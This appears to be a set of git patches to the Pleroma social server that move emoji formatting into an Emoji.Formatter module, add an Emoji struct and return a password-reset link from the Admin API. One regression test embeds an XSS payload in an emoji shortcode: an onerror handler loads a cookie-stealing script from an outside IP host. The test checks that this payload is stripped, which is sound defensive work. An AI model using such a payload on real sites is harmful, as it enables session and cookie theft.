HTML.filter_tags() - end - - defp prepare_emoji_html(_emoji, _file, true), do: "" - - defp prepare_emoji_html(emoji, file, _strip) do - "#{emoji}" - end - - def demojify(text) do - emojify(text, Emoji.get_all(), true) - end - - def demojify(text, nil), do: text - - @doc "Outputs a list of the emoji-shortcodes in a text" - def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> - String.contains?(text, ":#{emoji}:") - end) - end - - def get_emoji(_), do: [] - - @doc "Outputs a list of the emoji-Maps in a text" - def get_emoji_map(text) when is_binary(text) do - get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> - Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") - end) - end - - def get_emoji_map(_), do: [] - def html_escape({text, mentions, hashtags}, type) do {html_escape(text, type), mentions, hashtags} end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5faddc9f4..9ee704022 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do alias Pleroma.Activity alias Pleroma.ActivityExpiration alias Pleroma.Conversation.Participation - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.Object alias Pleroma.ThreadMute alias Pleroma.User @@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do sensitive, poll ), - object <- - Map.put( - object, - "emoji", - Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji) - ) do + object <- put_emoji(object, full_payload, poll_emoji) do preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false direct? = visibility == "direct" @@ -300,6 +295,15 @@ defmodule Pleroma.Web.CommonAPI do end end + # parse and put emoji to object data + defp put_emoji(map, text, emojis) do + Map.put( + map, + "emoji", + Map.merge(Emoji.Formatter.get_emoji_map(text), emojis) + ) + end + # Updates the emojis for a user based on their profile def update(user) do user = diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 9686e6491..d6907f707 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do alias Pleroma.Activity alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.Object alias Pleroma.Plugs.AuthenticationPlug @@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do "name" => option, "type" => "Note", "replies" => %{"type" => "Collection", "totalItems" => 0} - }, Map.merge(emoji, Formatter.get_emoji_map(option))} + }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))} end) case expires_in do @@ -434,7 +435,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do end def emoji_from_profile(%{info: _info} = user) do - (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) + (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) |> Enum.map(fn {shortcode, url, _, _, _} -> %{ "type" => "Emoji", diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 603c6b3c6..4f63b03cf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Bookmark alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Filter - alias Pleroma.Formatter alias Pleroma.HTTP alias Pleroma.Notification alias Pleroma.Object @@ -140,7 +140,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do user_info_emojis = user.info |> Map.get(:emoji, []) - |> Enum.concat(Formatter.get_emoji_map(emojis_text)) + |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text)) |> Enum.dedup() info_params = diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex index 720bd4519..382ecf426 100644 --- a/lib/pleroma/web/metadata/utils.ex +++ b/lib/pleroma/web/metadata/utils.ex @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Metadata.Utils do + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.HTML alias Pleroma.Web.MediaProxy @@ -13,7 +14,7 @@ defmodule Pleroma.Web.Metadata.Utils do |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.get_cached_stripped_html_for_activity(object, "metadata") - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate() end @@ -23,7 +24,7 @@ defmodule Pleroma.Web.Metadata.Utils do |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.strip_tags() - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate(max_length) end diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex index 5dfab6a6c..4141bfba5 100644 --- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex +++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do alias Ecto.Changeset alias Pleroma.Activity - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.Notification alias Pleroma.Object alias Pleroma.Repo @@ -713,7 +713,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do emojis_text = (params["description"] || "") <> " " <> (params["name"] || "") emojis = - ((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text)) + ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text)) |> Enum.dedup() user_info = diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex index abae63877..9192ebd34 100644 --- a/lib/pleroma/web/twitter_api/views/activity_view.ex +++ b/lib/pleroma/web/twitter_api/views/activity_view.ex @@ -5,7 +5,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do use Pleroma.Web, :view alias Pleroma.Activity - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.Object alias Pleroma.Repo @@ -262,7 +262,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do activity, "twitterapi:content" ) - |> Formatter.emojify(object.data["emoji"]) + |> Emoji.Formatter.emojify(object.data["emoji"]) text = if content do @@ -319,7 +319,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do "possibly_sensitive" => possibly_sensitive, "visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object), "summary" => summary, - "summary_html" => summary |> Formatter.emojify(object.data["emoji"]), + "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]), "card" => card, "muted" => thread_muted? || User.mutes?(opts[:for], user) } diff --git a/lib/pleroma/web/twitter_api/views/user_view.ex b/lib/pleroma/web/twitter_api/views/user_view.ex index 8a7d2fc72..3a6550826 100644 --- a/lib/pleroma/web/twitter_api/views/user_view.ex +++ b/lib/pleroma/web/twitter_api/views/user_view.ex @@ -4,7 +4,8 @@ defmodule Pleroma.Web.TwitterAPI.UserView do use Pleroma.Web, :view - alias Pleroma.Formatter + + alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User alias Pleroma.Web.CommonAPI.Utils @@ -72,7 +73,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do description_html = (user.bio || "") |> HTML.filter_tags(User.html_filter_policy(for_user)) - |> Formatter.emojify(emoji) + |> Emoji.Formatter.emojify(emoji) fields = user.info @@ -99,7 +100,7 @@ defmodule Pleroma.Web.TwitterAPI.UserView do "name" => user.name || user.nickname, "name_html" => if(user.name, - do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji), + do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji), else: user.nickname ), "profile_image_url" => image, diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..8b510f48b --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = %{ + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + "https://placehold.it/1x1" + } + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, custom_emoji) == expected_result + end + end + + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" + + assert Formatter.get_emoji(text) == [ + {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + ] + end + + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end + + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end + end +end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 7a5bd0f9f..c36681068 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -255,52 +255,6 @@ defmodule Pleroma.FormatterTest do end end - describe "emojify" do - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - end - - describe "get_emoji" do - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] - end - end - test "it escapes HTML in plain text" do text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" From 6ef0103ca0b194971a2e6f61685316536b742a11 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Sat, 31 Aug 2019 10:14:53 +0300 Subject: [PATCH 05/33] added Emoji struct --- lib/pleroma/emoji.ex | 15 ++++++++++++++ lib/pleroma/emoji/formatter.ex | 12 +++++------ lib/pleroma/emoji/loader.ex | 13 +++--------- lib/pleroma/web/common_api/utils.ex | 2 +- .../controllers/mastodon_api_controller.ex | 2 +- .../controllers/util_controller.ex | 6 ++---- test/emoji/formatter_test.exs | 20 ++++++++++++++----- test/emoji_test.exs | 8 ++++---- 8 files changed, 47 insertions(+), 31 deletions(-) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index ab6ba7d6a..b246bfbe6 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -21,6 +21,21 @@ defmodule Pleroma.Emoji do {:read_concurrency, true} ] + defstruct [:code, :file, :tags, :safe_code, :safe_file] + + @doc "Build emoji struct" + def build({code, file, tags}) do + %__MODULE__{ + code: code, + file: file, + tags: tags, + safe_code: Pleroma.HTML.strip_tags(code), + safe_file: Pleroma.HTML.strip_tags(file) + } + end + + def build({code, file}), do: build({code, file, []}) + @doc false def start_link(_) do GenServer.start_link(__MODULE__, [], name: __MODULE__) diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex index acdef3988..4869d073e 100644 --- a/lib/pleroma/emoji/formatter.ex +++ b/lib/pleroma/emoji/formatter.ex @@ -15,12 +15,12 @@ defmodule Pleroma.Emoji.Formatter do def emojify(text, emoji, strip \\ false) do Enum.reduce(emoji, text, fn - {_, _, _, emoji, file}, text -> + {_, %Emoji{safe_code: emoji, safe_file: file}}, text -> String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) - emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) + {unsafe_emoji, unsafe_file}, text -> + emoji = HTML.strip_tags(unsafe_emoji) + file = HTML.strip_tags(unsafe_file) String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) end) |> HTML.filter_tags() @@ -40,7 +40,7 @@ defmodule Pleroma.Emoji.Formatter do @doc "Outputs a list of the emoji-shortcodes in a text" def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} -> + Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} -> String.contains?(text, ":#{emoji}:") end) end @@ -50,7 +50,7 @@ defmodule Pleroma.Emoji.Formatter do @doc "Outputs a list of the emoji-Maps in a text" def get_emoji_map(text) when is_binary(text) do get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc -> + |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc -> Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") end) end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex index 82fc3b8c3..839316713 100644 --- a/lib/pleroma/emoji/loader.ex +++ b/lib/pleroma/emoji/loader.ex @@ -11,13 +11,14 @@ defmodule Pleroma.Emoji.Loader do * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder """ alias Pleroma.Config + alias Pleroma.Emoji require Logger @type pattern :: Regex.t() | module() | String.t() @type patterns :: pattern() | [pattern()] @type group_patterns :: keyword(patterns()) - @type emoji :: {String.t(), String.t(), list(String.t())} + @type emoji :: {String.t(), Emoji.t()} @doc """ Loads emojis from files/packs. @@ -81,15 +82,7 @@ defmodule Pleroma.Emoji.Loader do Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) end - defp prepare_emoji({code, file, tags} = _emoji) do - { - code, - file, - tags, - Pleroma.HTML.strip_tags(code), - Pleroma.HTML.strip_tags(file) - } - end + defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)} defp load_pack(pack_dir, emoji_groups) do pack_name = Path.basename(pack_dir) diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index d6907f707..1fb95f4ab 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -436,7 +436,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do def emoji_from_profile(%{info: _info} = user) do (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _, _, _} -> + |> Enum.map(fn {shortcode, %Emoji{file: url}} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 4f63b03cf..a50c060bf 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -331,7 +331,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags, _, _} -> + |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 923480242..c14792068 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -239,11 +239,9 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do def emoji(conn, _params) do emoji = - Emoji.get_all() - |> Enum.map(fn {short_code, path, tags, _, _} -> - {short_code, %{image_url: path, tags: tags}} + Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc -> + Map.put(acc, code, %{image_url: file, tags: tags}) end) - |> Enum.into(%{}) json(conn, emoji) end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs index 8b510f48b..6d25fc453 100644 --- a/test/emoji/formatter_test.exs +++ b/test/emoji/formatter_test.exs @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji alias Pleroma.Emoji.Formatter use Pleroma.DataCase @@ -20,15 +21,17 @@ defmodule Pleroma.Emoji.FormatterTest do text = "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", "https://placehold.it/1x1" - } + } + |> Pleroma.Emoji.build() expected_result = "I love \"\"" - assert Formatter.emojify(text, custom_emoji) == expected_result + assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result end end @@ -37,7 +40,14 @@ defmodule Pleroma.Emoji.FormatterTest do text = "I love :firefox:" assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"} + {"firefox", + %Emoji{ + code: "firefox", + file: "/emoji/Firefox.gif", + tags: ["Gif", "Fun"], + safe_code: "firefox", + safe_file: "/emoji/Firefox.gif" + }} ] end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 82f9c52ff..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,9 +24,9 @@ defmodule Pleroma.EmojiTest do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags, _, _} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 5 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) From f9dd121ad3f7e1de465f81c7a5fe4e4173d88e28 Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Tue, 17 Sep 2019 23:09:08 +0300 Subject: [PATCH 06/33] Admin API: Return link alongside with token on password reset --- CHANGELOG.md | 1 + lib/pleroma/web/admin_api/admin_api_controller.ex | 7 ++++++- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4eb72c002..0f4a171c2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -32,6 +32,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). – Pagination: (optional) return `total` alongside with `items` when paginating - Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings) - Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler +- Admin API: Return link alongside with token on password reset ### Fixed - Following from Osada diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 544b9d7d8..03a73053b 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -432,9 +432,14 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do def get_password_reset(conn, %{"nickname" => nickname}) do (%User{local: true} = user) = User.get_cached_by_nickname(nickname) {:ok, token} = Pleroma.PasswordResetToken.create_token(user) + host = Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host]) + protocol = Pleroma.Config.get([Pleroma.Web.Endpoint, :protocol]) conn - |> json(token.token) + |> json(%{ + token: token.token, + link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token}" + }) end def list_reports(conn, params) do From 384b7dd40dd484146d267ba4e12f750184365bfc Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Wed, 18 Sep 2019 18:06:49 +0300 Subject: [PATCH 07/33] Fix response --- lib/pleroma/web/admin_api/admin_api_controller.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 4421b30c8..54ab6e032 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -438,7 +438,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do conn |> json(%{ token: token.token, - link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token}" + link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token.token}" }) end From 72a01f1350239d286978007883a087f8f3985d1b Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Sun, 22 Sep 2019 16:36:59 +0300 Subject: [PATCH 08/33] Use router helper to generate reset password link --- lib/pleroma/web/admin_api/admin_api_controller.ex | 6 +++--- test/web/admin_api/admin_api_controller_test.exs | 4 +++- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex index 54ab6e032..b2df1e5b8 100644 --- a/lib/pleroma/web/admin_api/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/admin_api_controller.ex @@ -17,7 +17,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Web.AdminAPI.ReportView alias Pleroma.Web.AdminAPI.Search alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint alias Pleroma.Web.MastodonAPI.StatusView + alias Pleroma.Web.Router import Pleroma.Web.ControllerHelper, only: [json_response: 3] @@ -432,13 +434,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do def get_password_reset(conn, %{"nickname" => nickname}) do (%User{local: true} = user) = User.get_cached_by_nickname(nickname) {:ok, token} = Pleroma.PasswordResetToken.create_token(user) - host = Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host]) - protocol = Pleroma.Config.get([Pleroma.Web.Endpoint, :protocol]) conn |> json(%{ token: token.token, - link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token.token}" + link: Router.Helpers.reset_password_url(Endpoint, :reset, token.token) }) end diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs index c497ea098..77c67011d 100644 --- a/test/web/admin_api/admin_api_controller_test.exs +++ b/test/web/admin_api/admin_api_controller_test.exs @@ -596,7 +596,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do |> put_req_header("accept", "application/json") |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") - assert conn.status == 200 + resp = json_response(conn, 200) + + assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) end describe "GET /api/pleroma/admin/users" do From f89fe3ac06505cc07372fcdefdc3fde72d1f04a0 Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Sun, 22 Sep 2019 16:45:38 +0300 Subject: [PATCH 09/33] Update docs --- docs/api/admin_api.md | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md index 9362e3d78..8bc6379aa 100644 --- a/docs/api/admin_api.md +++ b/docs/api/admin_api.md @@ -298,7 +298,15 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret - Methods: `GET` - Params: none -- Response: password reset token (base64 string) +- Response: + +```json +{ + "token": "U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo=", // password reset token (base64 string) + "link": "https://pleroma.social/api/pleroma/password_reset/U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo%3D" +} +``` + ## `/api/pleroma/admin/reports` ### Get a list of reports From c8fdf757c124ac053307b0b4e02a38fc40e2dc58 Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Sun, 22 Sep 2019 16:59:37 +0300 Subject: [PATCH 10/33] I did not put these lines in CHANGELOG --- CHANGELOG.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b9a05dadb..6c31c0075 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,8 +8,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Refreshing poll results for remote polls ### Changed - **Breaking:** Elixir >=1.8 is now required (was >= 1.7) -- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings) -- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler - Admin API: Return `total` when querying for reports - Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`) From 79c3443b609663ab23a4353ebdb7e5e2f0e6a150 Mon Sep 17 00:00:00 2001 From: Maxim Filippov Date: Sun, 22 Sep 2019 17:00:49 +0300 Subject: [PATCH 11/33] Update CHANGELOG --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6c31c0075..e816e1394 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,8 +8,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Refreshing poll results for remote polls ### Changed - **Breaking:** Elixir >=1.8 is now required (was >= 1.7) +- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings) +- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler - Admin API: Return `total` when querying for reports - Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`) +- Admin API: Return link alongside with token on password reset ## [1.1.0] - 2019-??-?? ### Security @@ -37,9 +40,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses) - Improve digest email template – Pagination: (optional) return `total` alongside with `items` when paginating -- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings) -- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler -- Admin API: Return link alongside with token on password reset ### Fixed - Following from Osada From 79b25be4e1e9e97277a831c98ccea86a038914de Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 24 Sep 2019 14:16:52 +0700 Subject: [PATCH 12/33] Do not return tuple when unneeded --- lib/mix/tasks/pleroma/user.ex | 8 +-- lib/pleroma/user.ex | 72 ++++++++----------- lib/pleroma/web/activity_pub/publisher.ex | 4 +- .../controllers/mastodon_api_controller.ex | 10 +-- test/user_test.exs | 22 +++--- 5 files changed, 53 insertions(+), 63 deletions(-) diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index eb0052144..84c923901 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -228,9 +228,9 @@ defmodule Mix.Tasks.Pleroma.User do shell_info("Deactivating #{user.nickname}") User.deactivate(user) - {:ok, friends} = User.get_friends(user) - - Enum.each(friends, fn friend -> + user + |> User.get_friends() + |> Enum.each(fn friend -> user = User.get_cached_by_id(user.id) shell_info("Unsubscribing #{friend.nickname} from #{user.nickname}") @@ -405,7 +405,7 @@ defmodule Mix.Tasks.Pleroma.User do start_pleroma() with %User{local: true} = user <- User.get_cached_by_nickname(nickname) do - {:ok, _} = User.delete_user_activities(user) + User.delete_user_activities(user) shell_info("User #{nickname} statuses deleted.") else _ -> diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index ab253a274..8d126933b 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -685,9 